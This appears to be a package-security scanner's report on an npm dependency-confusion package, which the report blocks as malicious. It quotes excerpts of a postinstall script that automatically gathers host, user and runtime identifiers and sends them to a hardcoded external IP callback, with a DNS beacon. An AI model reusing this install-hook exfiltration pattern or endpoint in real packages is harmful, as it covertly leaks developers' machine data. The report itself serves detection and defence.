registry / Data exfiltration / @securihackbot/depconf-stage-1792484738

@securihackbot/depconf-stage-1792484738

Dependency-confusion research PoC (authorized). Non-executing placeholder by default.

This report shows the evidence for @securihackbot/depconf-stage-1792484738@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 1.0.1, is allowed. See all versions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The automatic install-time disclosure of host and user identifiers to a publisher-selected callback is concrete installation beaconing. The inspected source shows no affirmative installer consent gate, so this warrants blocking publication.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Package installation invokes the postinstall lifecycle script.

Impact

The callback recipient can learn identifying information about the installing machine and its package environment.

Mechanism

postinstall.js collects host, user, and runtime identifiers, encodes them into a request parameter, and sends them to the default callback URL; it also performs a DNS lookup using the nonce and configured suffix.

Attack narrative

Installing the package automatically runs postinstall.js. The hook gathers host and user identifiers and runtime details, then sends them to a default callback endpoint; an environment override does not make the default user-selected.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints1

34.143.131.27:18080/x-VA-1/main.js

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs postinstall.js automatically during installation.
postinstall.js has a default callback at http://34.143.131.27:18080/x-VA-1/main.js, with an environment override.
The install hook collects the host name, user name, platform, architecture, Node version, package name, nonce, and finding URL.
It encodes that data into a request parameter and sends it with an HTTP or HTTPS GET; it also makes a DNS lookup.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.17 KB of source, external domains: 34.143.131.27

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js" }, "files": [ "index.js", "posti

High

Suspicious Lifecycle Evidence

package.json runs postinstall.js automatically during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

12const os = require("os"); L13: const http = require("http"); L14: const https = require("https"); L15: const dns = require("dns"); L16: L17: const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/x-VA-1/main.js"; L18: const NONCE = process.env.DEPCONF_NONCE || "n1792484738"; ... L23: L24: const payload = Buffer.from(JSON.stringify({ L25: nonce: NONCE, L26: pkg: process.env.npm[redacted] || "unknown", L27: host: os.hostname(),

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

postinstall.jsView on unpkg · L12

12Trigger-reachable chain: scripts.postinstall -> postinstall.js L12: const os = require("os"); L13: const http = require("http"); L14: const https = require("https"); L15: const dns = require("dns"); L16: L17: const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/x-VA-1/main.js"; L18: const NONCE = process.env.DEPCONF_NONCE || "n1792484738"; ... L23: L24: const payload = Buffer.from(JSON.stringify({ L25: nonce: NONCE, L26: pkg: process.env.npm[redacted] || "unknown", L27: host: os.hostname(),

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L12

•matchType = malicious_source_fingerprint_signature signature = d4d9d925cdd38dbd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @securihackbot/depconf-flow-1792484611@1.2.1 matchedPath = postinstall.js matchedIdentity = npm:[redacted]:1.2.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

17const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/x-VA-1/main.js"; const NONCE = process.env.DEPCONF_NONCE || "n1792484738"; const DNS_SUFFIX = process.env.DEPCONF_DNS_SUFFIX || "YOUR-COLLABORATOR.example"; // Deep

High

Suspicious Lifecycle Evidence

postinstall.js has a default callback at http://34.143.131.27:18080/x-VA-1/main.js, with an environment override.

postinstall.jsView on unpkg · L17

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js" }, "files": [ "index.js", "posti

High

Suspicious Lifecycle Evidence

package.json runs postinstall.js automatically during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

2 Critical4 High4 Medium2 Low

CriticalHardcoded Runtime Data Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @securihackbot/depconf-stage-1792484738@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @securihackbot/depconf-stage-1792484738@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-20 19:00:04.366Z (UTC).

Source advisory published: 2026-10-20 18:45:40.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.1latestUnknown—AllowUnder ReviewOct 20, 2026, 8:45 AM 1.0.0shownMaliciousData ExfiltrationBlockPublishedOct 20, 2026, 8:26 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @securihackbot

Other data exfiltration packages

Behavioral surface

Related packages

More from @securihackbot

Other data exfiltration packages

Source & flagged code